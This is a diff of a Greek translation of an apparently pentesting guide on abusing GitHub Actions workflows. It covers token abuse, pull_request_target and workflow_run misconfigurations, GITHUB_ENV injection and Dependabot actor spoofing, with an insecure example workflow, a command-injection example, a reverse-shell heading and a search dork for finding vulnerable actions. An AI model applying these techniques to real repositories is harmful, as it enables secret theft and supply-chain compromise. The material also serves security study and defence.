diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index d96b2895b..776433381 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,55 +4,55 @@ ## Εργαλεία -The following tools are useful to find Github Action workflows and even find vulnerable ones: +Τα ακόλουθα εργαλεία είναι χρήσιμα για να βρείτε Github Action workflows και ακόμη και ευάλωτα: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ελέγξτε επίσης το checklist του σε [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) ## Βασικές Πληροφορίες Σε αυτή τη σελίδα θα βρείτε: -- Μια **περίληψη όλων των επιπτώσεων** όταν ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση σε ένα Github Action -- Διαφορετικοί τρόποι για να **αποκτήσετε πρόσβαση σε ένα action**: +- Μια **περίληψη όλων των επιπτώσεων** όταν ένας επιτιθέμενος καταφέρει να αποκτήσει πρόσβαση σε ένα Github Action +- Διάφοροι τρόποι για να **αποκτήσετε πρόσβαση σε ένα action**: - Έχοντας **δικαιώματα** για να δημιουργήσετε το action -- Κατάχρηση των trigger που σχετίζονται με **pull request** -- Κατάχρηση άλλων τεχνικών **εξωτερικής πρόσβασης** -- **Pivoting** από ένα ήδη παραβιασμένο repo -- Τέλος, μια ενότητα για **post-exploitation techniques** για την κατάχρηση ενός action από μέσα (για να προκαλέσετε τις αναφερθείσες επιπτώσεις) +- Κατάχρηση **pull request** related triggers +- Κατάχρηση **άλλων τεχνικών εξωτερικής πρόσβασης** +- **Pivoting** από ένα ήδη συμβιβασμένο repo +- Τέλος, μια ενότητα για τις τεχνικές **post-exploitation** για κατάχρηση ενός action από μέσα (για να προκαλέσει τις προαναφερθείσες επιπτώσεις) ## Περίληψη Επιπτώσεων -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +Για μια εισαγωγή σχετικά με [**Github Actions check the basic information**](../basic-github-information.md#github-actions). -Εάν μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε GitHub Actions** μέσα σε ένα **repository**, ενδέχεται να μπορείτε να: +Αν μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε GitHub Actions** μέσα σε ένα **repository**, μπορεί να είστε σε θέση να: -- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. -- **Compromise deployments** και άλλα **artifacts**. -- Αν το pipeline κάνει deploy ή αποθηκεύει assets, θα μπορούσατε να αλλοιώσετε το τελικό προϊόν, επιτρέποντας μια supply chain attack. -- **Execute code in custom workers** για να καταχραστείτε υπολογιστική ισχύ και να κάνετε pivot σε άλλα συστήματα. -- **Overwrite repository code**, ανάλογα με τα permissions που συνδέονται με το `GITHUB_TOKEN`. +- **Κλέψετε μυστικά** που είναι προσαρτημένα στο pipeline και **καταχραστείτε τα προνόμια του pipeline** για να αποκτήσετε μη εξουσιοδοτημένη πρόσβαση σε εξωτερικές πλατφόρμες, όπως AWS και GCP. +- **Συμβιβάσετε deployments** και άλλα **artifacts**. +- Εάν το pipeline αναπτύσσει ή αποθηκεύει assets, θα μπορούσατε να αλλοιώσετε το τελικό προϊόν, επιτρέποντας επίθεση supply chain. +- **Εκτελέσετε κώδικα σε custom workers** για να καταχραστείτε υπολογιστική ισχύ και να pivot σε άλλα συστήματα. +- **Επαναγράψετε τον κώδικα του repository**, ανάλογα με τα permissions που συνδέονται με το `GITHUB_TOKEN`. ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: +Αυτό το "**secret**" (προερχόμενο από `${{ secrets.GITHUB_TOKEN }}` και `${{ github.token }}`) δίνεται όταν ο admin ενεργοποιήσει αυτή την επιλογή:
-Αυτό το token είναι το ίδιο που θα χρησιμοποιήσει μια **Github Application**, έτσι μπορεί να αποκτήσει πρόσβαση στα ίδια endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Το Github πρέπει να κυκλοφορήσει ένα [**flow**](https://github.com/github/roadmap/issues/74) που **επιτρέπει cross-repository** πρόσβαση εντός του GitHub, ώστε ένα repo να μπορεί να αποκτήσει πρόσβαση σε άλλα εσωτερικά repos χρησιμοποιώντας το `GITHUB_TOKEN`. +> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. Μπορείτε να δείτε τα πιθανά **permissions** αυτού του token στο: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Σημειώστε ότι το token **λήγει μετά την ολοκλήρωση του job**.\ -Αυτά τα tokens μοιάζουν έτσι: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Σημειώστε ότι το token **λήγει μετά την ολοκλήρωση της job**.\ +Αυτά τα tokens μοιάζουν κάπως έτσι: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Μερικά ενδιαφέροντα πράγματα που μπορείτε να κάνετε με αυτό το token: +Κάποια ενδιαφέροντα πράγματα που μπορείτε να κάνετε με αυτό το token: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,7 +91,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Σημειώστε ότι σε αρκετές περιπτώσεις θα μπορείτε να βρείτε **github user tokens μέσα στα Github Actions envs ή στα secrets**. Αυτά τα tokens μπορεί να σας δώσουν περισσότερα προνόμια πάνω στο repository και την organization. +> Σημειώστε ότι σε πολλές περιπτώσεις θα μπορείτε να βρείτε **github user tokens inside Github Actions envs or in the secrets**. Αυτά τα tokens ενδέχεται να σας δώσουν περισσότερα προνόμια στο repository και στην organization.
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Απόκτηση reverse shell με secrets +Λήψη reverse shell με secrets ```yaml name: revshell on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Είναι δυνατό να ελεγχθούν τα δικαιώματα που έχει ένα Github Token σε repositories άλλων χρηστών **ελέγχοντας τα logs** των actions: +Είναι δυνατόν να ελέγξετε τα δικαιώματα που έχουν δοθεί σε ένα Github Token σε αποθετήρια άλλων χρηστών **ελέγχοντας τα logs** των actions:
-## Επιτρεπτή Εκτέλεση +## Επιτρεπόμενη Εκτέλεση > [!NOTE] -> Αυτό θα ήταν ο ευκολότερος τρόπος για να compromize τα Github actions, αφού αυτή η περίπτωση προϋποθέτει ότι έχετε πρόσβαση να **create a new repo in the organization**, ή ότι έχετε **write privileges over a repository**. +> Αυτό θα ήταν ο ευκολότερος τρόπος για να compromise τα Github actions, καθώς αυτή η περίπτωση προϋποθέτει ότι έχετε πρόσβαση να **create a new repo in the organization**, ή έχετε **write privileges over a repository**. > -> Εάν βρίσκεστε σε αυτό το σενάριο μπορείτε απλά να δείτε τα [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). +> Εάν βρίσκεστε σε αυτό το σενάριο μπορείτε απλώς να ελέγξετε τα [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Εκτέλεση από δημιουργία Repo +### Εκτέλεση από Δημιουργία repo -Σε περίπτωση που μέλη μιας organization μπορούν να **create new repos** και εσείς μπορείτε να τρέξετε github actions, μπορείτε να **create a new repo and steal the secrets set at organization level**. +Σε περίπτωση που μέλη μιας οργάνωσης μπορούν να **create new repos** και μπορείτε να εκτελέσετε github actions, μπορείτε να **create a new repo and steal the secrets set at organization level**. -### Εκτέλεση από νέο Branch +### Εκτέλεση από Νέο Branch -Αν μπορείτε να **create a new branch in a repository that already contains a Github Action** διαμορφωμένο, μπορείτε να το **modify**, να **upload** το περιεχόμενο, και μετά να **execute that action from the new branch**. Με αυτόν τον τρόπο μπορείτε να **exfiltrate repository and organization level secrets** (αλλά χρειάζεται να ξέρετε πώς ονομάζονται). +Αν μπορείτε να **create a new branch in a repository that already contains a Github Action** configured, μπορείτε να το **modify**, να **upload** το περιεχόμενο, και στη συνέχεια να **execute that action from the new branch**. Με αυτόν τον τρόπο μπορείτε να **exfiltrate repository and organization level secrets** (αλλά πρέπει να ξέρετε πώς ονομάζονται). > [!WARNING] -> Οποιος περιορισμός εφαρμόζεται μόνο μέσα στο workflow YAML (για παράδειγμα, `on: push: branches: [main]`, job conditionals, ή manual gates) μπορεί να επεξεργαστεί από collaborators. Χωρίς εξωτερική επιβολή (branch protections, protected environments, and protected tags), ένας contributor μπορεί να στοχεύσει ξανά ένα workflow ώστε να τρέξει στο branch του και να abuse mounted secrets/permissions. +> Οποιοσδήποτε περιορισμός που εφαρμόζεται μόνο μέσα στο workflow YAML (για παράδειγμα, `on: push: branches: [main]`, job conditionals, or manual gates) μπορεί να επεξεργαστεί από συνεργάτες. Χωρίς εξωτερική επιβολή (branch protections, protected environments, and protected tags), ένας συνεισφέρων μπορεί να επαναστοχεύσει ένα workflow ώστε να τρέξει στο branch του και να καταχραστεί mounted secrets/permissions. -Μπορείτε να κάνετε την τροποποιημένη action εκτελέσιμη **manually,** όταν δημιουργείται ένα **PR** ή όταν **some code is pushed** (ανάλογα με το πόσο noisy θέλετε να είστε): +Μπορείτε να κάνετε την τροποποιημένη action εκτελέσιμη **manually,** όταν ένα **PR is created** ή όταν **some code is pushed** (ανάλογα με το πόσο noisy θέλετε να είστε): ```yaml on: workflow_dispatch: # Launch manually @@ -180,49 +180,49 @@ branches: ``` --- -## Εκτέλεση σε Fork +## Εκτέλεση από fork > [!NOTE] -> Υπάρχουν διαφορετικοί ενεργοποιητές που θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να **εκτελέσει ένα Github Action ενός άλλου repository**. Εάν αυτές οι ενεργοποιήσιμες ενέργειες είναι κακώς διαμορφωμένες, ένας επιτιθέμενος θα μπορούσε να τις παραβιάσει. +> Υπάρχουν διάφορα triggers που θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να **εκτελέσει ένα Github Action από άλλο repository**. Εάν αυτές οι ενεργοποιήσιμες ενέργειες είναι κακώς διαμορφωμένες, ένας επιτιθέμενος θα μπορούσε να καταφέρει να τις παραβιάσει. ### `pull_request` -Ο ενεργοποιητής workflow **`pull_request`** θα εκτελεί το workflow κάθε φορά που λαμβάνεται ένα pull request με μερικές εξαιρέσεις: από προεπιλογή, αν είναι η **πρώτη φορά** που συνεργάζεστε, κάποιος **συντηρητής** θα χρειαστεί να **εγκρίνει** την **εκτέλεση** του workflow: +Ο workflow trigger **`pull_request`** θα εκτελέσει το workflow κάθε φορά που λαμβάνεται ένα pull request με ορισμένες εξαιρέσεις: από προεπιλογή, αν είναι η **πρώτη φορά** που συνεργάζεστε, κάποιος **maintainer** θα χρειαστεί να **εγκρίνει** το **run** του workflow:
> [!NOTE] -> Καθώς ο **προεπιλεγμένος περιορισμός** αφορά συνεργάτες της **πρώτης φοράς**, θα μπορούσατε να συνεισφέρετε διορθώνοντας ένα έγκυρο bug/typo και μετά να στείλετε **άλλα PRs για να κακοποιήσετε τα νέα σας `pull_request` προνόμια**. +> Εφόσον ο **προεπιλεγμένος περιορισμός** αφορά τους **συνεισφέροντες για πρώτη φορά**, μπορείς να συνεισφέρεις **διόρθωση ενός έγκυρου bug/typo** και μετά να στείλεις **άλλα PRs για να καταχραστείς τα νέα σου `pull_request` προνόμια**. > -> **Το δοκίμασα και δεν δουλεύει**: ~~Μια άλλη επιλογή θα ήταν να δημιουργήσεις λογαριασμό με το όνομα κάποιου που συνέβαλε στο project και να διαγράψεις τον λογαριασμό του.~~ +> **Το δοκίμασα και δεν δουλεύει**: ~~Μία άλλη επιλογή θα ήταν να δημιουργήσεις έναν λογαριασμό με το όνομα κάποιου που συνέβαλε στο project και να διαγράψεις τον λογαριασμό του.~~ -Επιπλέον, από προεπιλογή **αποτρέπονται δικαιώματα εγγραφής** και **η πρόσβαση σε secrets** στο target repository όπως αναφέρεται στα [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Επιπλέον, από προεπιλογή **αποτρέπει write permissions και access σε secrets** προς το target repository όπως αναφέρεται στα [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -Ένας επιτιθέμενος μπορεί να τροποποιήσει τον ορισμό του Github Action ώστε να εκτελέσει αυθαίρετες ενέργειες και να προσθέσει αυθαίρετα actions. Ωστόσο, δεν θα καταφέρει να κλέψει secrets ή να αντικαταστήσει το repo λόγω των αναφερόμενων περιορισμών. +Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τον ορισμό του Github Action για να εκτελέσει αυθαίρετα πράγματα και να προσθέσει αυθαίρετα actions. Ωστόσο, δεν θα μπορέσει να κλέψει secrets ή να υπεργράψει το repo λόγω των προαναφερθέντων περιορισμών. > [!CAUTION] > **Ναι, αν ο επιτιθέμενος αλλάξει στο PR το github action που θα ενεργοποιηθεί, το Github Action του θα είναι αυτό που θα χρησιμοποιηθεί και όχι αυτό από το origin repo!** -Καθώς ο επιτιθέμενος ελέγχει επίσης τον κώδικα που εκτελείται, ακόμα και αν δεν υπάρχουν secrets ή δικαιώματα εγγραφής στο `GITHUB_TOKEN`, ο επιτιθέμενος θα μπορούσε, για παράδειγμα, να **ανεβάσει κακόβουλα artifacts**. +Καθώς ο επιτιθέμενος ελέγχει επίσης τον κώδικα που εκτελείται, ακόμα και αν δεν υπάρχουν secrets ή write permissions στο `GITHUB_TOKEN`, ο επιτιθέμενος θα μπορούσε για παράδειγμα να **ανεβάσει malicious artifacts**. ### **`pull_request_target`** -Ο ενεργοποιητής workflow **`pull_request_target`** έχει **δικαίωμα εγγραφής** στο target repository και **πρόσβαση σε secrets** (και δεν ζητάει έγκριση). +Ο workflow trigger **`pull_request_target`** έχει **write permission** στο target repository και **access σε secrets** (και δεν ζητάει άδεια). -Σημειώστε ότι ο ενεργοποιητής workflow **`pull_request_target`** **τρέχει στο base context** και όχι σε αυτό που παρέχεται από το PR (για να **μην εκτελεστεί μη αξιόπιστος κώδικας**). Για περισσότερες πληροφορίες σχετικά με το `pull_request_target` [**διαβάστε τα docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Επιπλέον, για περισσότερες πληροφορίες σχετικά με αυτή την συγκεκριμένη επικίνδυνη χρήση δείτε αυτό το [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Σημειώστε ότι ο workflow trigger **`pull_request_target`** **τρέχει στο base context** και όχι σε αυτό που δίνει το PR (για να **μην εκτελέσει untrusted code**). Για περισσότερες πληροφορίες για το `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Επιπλέον, για περισσότερες πληροφορίες σχετικά με αυτή τη συγκεκριμένη επικίνδυνη χρήση δείτε αυτό το [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Μπορεί να φαίνεται ότι επειδή το **εκτελούμενο workflow** είναι αυτό που ορίζεται στο **base** και όχι στο PR, είναι **ασφαλές** να χρησιμοποιείται **`pull_request_target`**, αλλά υπάρχουν μερικές περιπτώσεις όπου δεν είναι. +Μπορεί να φαίνεται ότι επειδή το **εκτελούμενο workflow** είναι αυτό που ορίζεται στη **base** και **όχι στο PR**, είναι **ασφαλές** να χρησιμοποιήσεις **`pull_request_target`**, αλλά υπάρχουν μερικές **περιπτώσεις όπου δεν είναι**. -Και αυτό θα έχει **πρόσβαση σε secrets**. +Και αυτή θα έχει **access σε secrets**. ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. +Ο [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger επιτρέπει να τρέξει ένα workflow από ένα άλλο όταν είναι `completed`, `requested` ή `in_progress`. -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: +Σε αυτό το παράδειγμα, ένα workflow έχει διαμορφωθεί να τρέχει αφού το ξεχωριστό "Run Tests" workflow ολοκληρωθεί: ```yaml on: workflow_run: @@ -230,29 +230,29 @@ workflows: [Run Tests] types: - completed ``` -Επιπλέον, σύμφωνα με την τεκμηρίωση: Το workflow που ξεκινάται από το συμβάν `workflow_run` μπορεί να **προσπελάσει secrets και να εγγράψει tokens, ακόμη κι αν το προηγούμενο workflow δεν είχε αυτή τη δυνατότητα**. +Επιπλέον, σύμφωνα με την τεκμηρίωση: Η ροή εργασίας που ξεκινά από το γεγονός `workflow_run` μπορεί να **έχει πρόσβαση σε secrets και να γράφει tokens, ακόμα κι αν η προηγούμενη ροή εργασίας δεν είχε**. -Αυτός ο τύπος workflow θα μπορούσε να επιτεθεί αν εξαρτάται από ένα **workflow** που μπορεί να **triggered** από έναν εξωτερικό χρήστη μέσω **`pull_request`** ή **`pull_request_target`**. Μερικά ευάλωτα παραδείγματα μπορούν να [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Το πρώτο αφορά ένα `workflow_run` triggered workflow που κατεβάζει τον κώδικα του επιτιθέμενου: `${{ github.event.pull_request.head.sha }}`\ -Το δεύτερο αφορά το passing ενός **artifact** από τον **μη αξιόπιστο** κώδικα στο **`workflow_run`** workflow και τη χρήση του περιεχομένου αυτού του artifact με τρόπο που το καθιστά **vulnerable to RCE**. +Αυτός ο τύπος ροής εργασίας θα μπορούσε να δεχθεί επίθεση αν **εξαρτάται** από μια **ροή εργασίας** που μπορεί να **ενεργοποιηθεί** από έναν εξωτερικό χρήστη μέσω **`pull_request`** ή **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Το πρώτο αφορά τη ροή εργασίας ενεργοποιούμενη από **`workflow_run`** που κατεβάζει τον κώδικα του επιτιθέμενου: `${{ github.event.pull_request.head.sha }}`\ +Το δεύτερο αφορά στο **passing** ενός **artifact** από τον **untrusted** κώδικα στη ροή εργασίας **`workflow_run`** και στη χρήση του περιεχομένου αυτού του artifact με τρόπο που το καθιστά **vulnerable to RCE**. ### `workflow_call` TODO -TODO: Έλεγχος αν όταν εκτελείται από `pull_request` ο χρησιμοποιούμενος/κατεβασμένος κώδικας προέρχεται από το origin ή από το forked PR +TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR -## Κατάχρηση Εκτέλεσης από Fork +## Κατάχρηση εκτέλεσης από Forks -Έχουμε αναφέρει όλους τους τρόπους με τους οποίους ένας εξωτερικός επιτιθέμενος μπορεί να καταφέρει να εκτελέσει ένα github workflow. Ας δούμε τώρα πώς αυτές οι εκτελέσεις, εάν είναι λάθος διαμορφωμένες, μπορούν να καταχραστούν: +Αναφέραμε όλους τους τρόπους με τους οποίους ένας εξωτερικός attacker θα μπορούσε να κάνει μια GitHub workflow να εκτελεστεί, τώρα ας δούμε πώς αυτές οι εκτελέσεις, αν είναι κακώς διαμορφωμένες, μπορούν να καταχραστούν: -### Εκτέλεση μη αξιόπιστου checkout +### Untrusted checkout execution -Στην περίπτωση του **`pull_request`,** το workflow θα εκτελεστεί στο **πλαίσιο του PR** (οπότε θα εκτελέσει τον **κακόβουλο κώδικα του PR**), αλλά κάποιος πρέπει να **το εγκρίνει πρώτα** και θα τρέξει με κάποιους [περιορισμούς](#pull_request). +Σε περίπτωση **`pull_request`**, η ροή εργασίας θα εκτελεστεί στο **context του PR** (οπότε θα εκτελέσει τον **malicious PRs code**), αλλά κάποιος πρέπει να **το εξουσιοδοτήσει πρώτα** και θα τρέξει με κάποιους [limitations](#pull_request). -Σε περίπτωση ενός workflow που χρησιμοποιεί **`pull_request_target` or `workflow_run`** και εξαρτάται από ένα workflow που μπορεί να ενεργοποιηθεί από **`pull_request_target` ή `pull_request`**, ο κώδικας από το αρχικό repo θα εκτελεστεί, οπότε ο **επιτιθέμενος δεν μπορεί να ελέγξει τον εκτελούμενο κώδικα**. +Σε περίπτωση ροής εργασίας που χρησιμοποιεί **`pull_request_target` or `workflow_run`** και εξαρτάται από μια ροή εργασίας που μπορεί να ενεργοποιηθεί από **`pull_request_target` or `pull_request`**, ο κώδικας από το αρχικό repo θα εκτελεστεί, οπότε ο **attacker cannot control the executed code**. > [!CAUTION] -> Ωστόσο, αν η **action** έχει ένα **explicit PR checkout** που θα **πάρει τον κώδικα από το PR** (και όχι από το base), θα χρησιμοποιήσει τον κώδικα που ελέγχεται από τον επιτιθέμενο. Για παράδειγμα (έλεγξε τη γραμμή 12 όπου ο κώδικας του PR κατεβαίνει): +> Ωστόσο, αν το **action** έχει ένα **explicit PR checkou**t που θα **get the code from the PR** (και όχι από base), θα χρησιμοποιήσει τον κώδικα που ελέγχει ο attacker. Για παράδειγμα (έλεγχος γραμμής 12 όπου ο κώδικας του PR κατεβαίνει):
# INSECURE. Provided as an example only.
 on:
@@ -282,32 +282,32 @@ message: |
 Thank you!
 
-Ο πιθανώς **μη αξιόπιστος κώδικας εκτελείται κατά τη διάρκεια των `npm install` ή `npm build`**, καθώς τα build scripts και τα αναφερόμενα **packages ελέγχονται από τον συγγραφέα του PR**. +Ο πιθανώς **untrusted κώδικας εκτελείται κατά τη διάρκεια των `npm install` ή `npm build`** καθώς τα build scripts και τα αναφερόμενα **packages ελέγχονται από τον author του PR**. > [!WARNING] -> Ένα github dork για να αναζητήσετε ευάλωτες actions είναι: `event.pull_request pull_request_target extension:yml` ωστόσο, υπάρχουν διαφορετικοί τρόποι να ρυθμίσετε τα jobs ώστε να εκτελούνται με ασφάλεια ακόμα κι αν η action είναι ανασφαλώς διαμορφωμένη (π.χ. χρησιμοποιώντας conditionals σχετικά με το ποιος είναι ο actor που δημιουργεί το PR). +> Ένας github dork για να ψάξετε για ευάλωτες actions είναι: `event.pull_request pull_request_target extension:yml` όμως υπάρχουν διαφορετικοί τρόποι να διαμορφώσετε τα jobs ώστε να εκτελούνται με ασφάλεια ακόμα κι αν το action είναι ανασφαλώς ρυθμισμένο (π.χ. χρησιμοποιώντας conditionals σχετικά με το ποιος είναι ο actor που δημιουργεί το PR). -### Context Script Injections +### Ενέσεις Script στο Context -Σημειώστε ότι υπάρχουν ορισμένα [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) των οποίων οι τιμές είναι **ελεγχόμενες** από τον **user** που δημιουργεί το PR. Εάν η github action χρησιμοποιεί αυτά τα **data για να εκτελέσει οτιδήποτε**, αυτό θα μπορούσε να οδηγήσει σε **arbitrary code execution:** +Σημειώστε ότι υπάρχουν ορισμένα [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) των οποίων οι τιμές **ελέγχονται** από τον **user** που δημιουργεί το PR. Αν το github action χρησιμοποιεί αυτά τα **data για να εκτελέσει οτιδήποτε**, αυτό μπορεί να οδηγήσει σε **arbitrary code execution:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### Ενέσεις Script στο GITHUB_ENV +### **GITHUB_ENV Script Injection** -Από την τεκμηρίωση: Μπορείτε να κάνετε μια **μεταβλητή περιβάλλοντος διαθέσιμη σε οποιαδήποτε επακόλουθα βήματα** σε ένα workflow job ορίζοντας ή ενημερώνοντας τη μεταβλητή περιβάλλοντος και γράφοντάς την στο αρχείο περιβάλλοντος **`GITHUB_ENV`**. +Από την τεκμηρίωση: Μπορείτε να κάνετε μια **environment variable διαθέσιμη σε οποιαδήποτε επόμενα βήματα** σε ένα workflow job ορίζοντας ή ενημερώνοντας την μεταβλητή περιβάλλοντος και γράφοντάς την στο **`GITHUB_ENV`** environment file. -Εάν ένας επιτιθέμενος μπορούσε να **εισάγει οποιαδήποτε τιμή** μέσα σε αυτή τη μεταβλητή **env**, θα μπορούσε να εισάγει μεταβλητές περιβάλλοντος που θα μπορούσαν να εκτελέσουν κώδικα σε επόμενα βήματα όπως **LD_PRELOAD** ή **NODE_OPTIONS**. +Εάν ένας attacker μπορούσε να **inject οποιαδήποτε τιμή** μέσα σε αυτή την **env** μεταβλητή, θα μπορούσε να εισάγει env μεταβλητές που θα μπορούσαν να εκτελέσουν κώδικα σε επόμενα βήματα όπως **LD_PRELOAD** ή **NODE_OPTIONS**. -Για παράδειγμα ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) και [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), φανταστείτε ένα workflow που εμπιστεύεται ένα ανεβασμένο artifact για να αποθηκεύσει το περιεχόμενό του μέσα στη μεταβλητή env **`GITHUB_ENV`**. Ένας επιτιθέμενος θα μπορούσε να ανεβάσει κάτι σαν αυτό για να το παραβιάσει: +Για παράδειγμα ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), φανταστείτε μια ροή εργασίας που εμπιστεύεται ένα uploaded artifact για να αποθηκεύσει το περιεχόμενό του μέσα στην **`GITHUB_ENV`** env μεταβλητή. Ένας attacker θα μπορούσε να ανεβάσει κάτι σαν το παρακάτω για να το παραβιάσει:
### Dependabot and other trusted bots -Όπως αναφέρεται σε [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), αρκετές οργανώσεις έχουν μια Github Action που συγχωνεύει οποιοδήποτε PR από `dependabot[bot]` όπως στο: +Όπως υποδεικνύεται σε [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), αρκετοί οργανισμοί έχουν μια Github Action που merges οποιοδήποτε PRR από `dependabot[bot]` όπως στο: ```yaml on: pull_request_target jobs: @@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Αυτό αποτελεί πρόβλημα επειδή το πεδίο `github.actor` περιέχει τον χρήστη που προκάλεσε το τελευταίο event που ενεργοποίησε το workflow. Υπάρχουν αρκετοί τρόποι για να κάνεις τον χρήστη `dependabot[bot]` να τροποποιήσει ένα PR. Για παράδειγμα: +Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example: -- Κάνε Fork στο αποθετήριο-θύμα +- Fork το repository του θύματος - Πρόσθεσε το malicious payload στο αντίγραφό σου -- Ενεργοποίησε το Dependabot στο fork σου προσθέτοντας μια ξεπερασμένη dependency. Το Dependabot θα δημιουργήσει ένα branch που διορθώνει την dependency με malicious code. -- Άνοιξε ένα Pull Request προς το αποθετήριο-θύμα από εκείνο το branch (το PR θα δημιουργηθεί από τον χρήστη, οπότε τίποτα δεν θα συμβεί ακόμα) -- Στη συνέχεια, ο επιτιθέμενος επιστρέφει στο αρχικό PR που άνοιξε το Dependabot στο fork του και τρέχει `@dependabot recreate` -- Τότε, το Dependabot εκτελεί κάποιες ενέργειες σε εκείνο το branch, οι οποίες τροποποίησαν το PR στο αποθετήριο-θύμα, κάτι που κάνει τον `dependabot[bot]` actor του τελευταίου event που ενεργοποίησε το workflow (και επομένως, το workflow εκτελείται). +- Ενεργοποίησε το Dependabot στο fork σου προσθέτοντας μια outdated dependency. Το Dependabot θα δημιουργήσει ένα branch που θα διορθώνει την εξάρτηση και θα περιέχει malicious code. +- Άνοιξε ένα Pull Request προς το repository του θύματος από αυτό το branch (το PR θα δημιουργηθεί από τον χρήστη οπότε ακόμα δεν θα γίνει τίποτα) +- Στη συνέχεια, ο attacker επιστρέφει στο αρχικό PR που άνοιξε το Dependabot στο fork του και τρέχει `@dependabot recreate` +- Έπειτα, το Dependabot εκτελεί κάποιες ενέργειες σε εκείνο το branch, που τροποποιούν το PR στο repository του θύματος, κάνοντας έτσι τον `dependabot[bot]` actor του τελευταίου γεγονότος που ενεργοποίησε το workflow (και επομένως, το workflow τρέχει). -Συνεχίζοντας, τι γίνεται αν αντί για συγχώνευση το GitHub Action έχει μια command injection όπως στο: +Moving on, what if instead of merging the Github Action would have a command injection like in: ```yaml on: pull_request_target jobs: @@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Λοιπόν, το αρχικό blogpost προτείνει δύο επιλογές για την κατάχρηση αυτής της συμπεριφοράς, με τη δεύτερη να είναι: +Well, the original blogpost proposes two options to abuse this behavior being the second one: -- Κάντε fork στο victim repository και ενεργοποιήστε το Dependabot με κάποια outdated 